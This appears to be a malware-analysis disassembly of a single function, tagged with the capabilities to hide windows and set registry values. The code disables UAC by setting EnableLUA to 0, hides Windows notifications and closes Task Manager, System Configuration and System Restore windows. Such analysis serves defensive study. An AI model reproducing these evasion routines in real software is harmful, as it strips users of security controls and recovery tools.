Function at 0x402b7c
Capabilities:
Hide graphical window
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x30], 0
mov dword [esp + 4], 0x100
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.TpgxbsfNjdsptpguXjoepxtDvssfouWfstjpoQpmjdjftTztufn
call fcn.0040272b
lea eax, [ebp - 0x2c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x402c21
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableLUA
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp + 4], str.Nueva_notificacin
mov dword [esp], str.Windows.UI.Core.CoreWindow
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402c65
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], str.Windows.UI.Core.CoreWindow
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402c9b
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [ebp - 0x1c], str.Administrador_de_tareas_de_Windows
mov dword [ebp - 0x20], str.Configuracin_del_sistema
mov dword [ebp - 0x24], str.Restaurar_sistema
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x402d03
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x12
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x402d48
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x12
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x402d8d
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x12
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [ebp - 0xc], 0
jmp 0x402dc7
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x4200c0]
mov dword [esp], eax
call fcn.00401c15
sub esp, 4
test al, al
je 0x402dc4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x4200c0]
mov dword [esp], eax
call fcn.00401aa6
sub esp, 4
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x4200c0]
test eax, eax
setne al
test al, al
jne 0x402d96
jmp 0x402de4
leave
ret